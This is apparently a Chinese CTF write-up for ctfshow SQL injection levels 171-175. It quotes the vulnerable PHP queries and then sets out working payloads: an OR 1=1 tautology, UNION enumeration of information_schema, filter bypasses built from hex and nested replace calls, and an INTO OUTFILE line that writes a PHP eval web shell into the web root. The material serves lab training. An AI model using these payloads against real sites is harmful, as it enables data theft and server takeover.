ctfshow web入门 sql注入 171-175

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

' or 1=1 --+   --万能密码

--实际执行的 sql语句 为
select username,password from user where username !='flag' and id = '"' or 1=1 --+ limit 1;

-- 解析
where条件中存在三个条件
　　1）username !='flag'
　　2）id ='"'
　　3）1=1
条件1 和 条件2 用 and 连接，再与 条件3 用 or 连接

and 优先级高于 or
由于 条件2 为假，所以 or 的前半句为假，也就是 username !='flag' and id = '"' 为假
而 or 后半句 1=1 为真，因此 where 条件为真
相当于执行 select username,password from user

-- 查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

--检查 username 是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

--联合注入
　　--判断字段数
1'  order by 2 --+
　　--判断使用字段位置
-1'  union select 1,2 --+
    --爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  --+
    --爆字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'  --+
    --爆字段值
-1' union select 1,group_concat(password) from ctfshow_user2  --+



--思路扩展
--绕过题目中对 username 的if判断
--主要考察对sql语句返回结果集的理解

--法一
--题目使用 username 与 password 两个字段，我们知道一共有 id,username,password 三个字段
--这里我们使用 id 与 password 绕过对 username 的判断
-1'  union select id,password from ctfshow_user2 where username='flag' --+

--法二 
--这里我们对 username 进行 hex() 转换
-1'  union select hex(username),password from ctfshow_user2 where username='flag' --+

--法三
--直接不显示 username  
-1'  union select 1,password from ctfshow_user2 where username='flag' --+

--法四
--使用字符串替换
-1'  union select replace(username,'flag',1),password from ctfshow_user2 where username='flag' --+

--其他方法都是使用字符串函数对 username 进行处理
--思路要打开

-- 查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

--检查结果集是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B') ,3,'C') ,4,'D') ,5,'E') ,6,'F') ,7,'G') ,8,'H') ,9,'I') ,0,'J')  from ctfshow_user4 where username='flag'--+

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

-1' union select 1,'<?=eval($_POST[1])?>' into outfile '/var/www/html/1.php' --+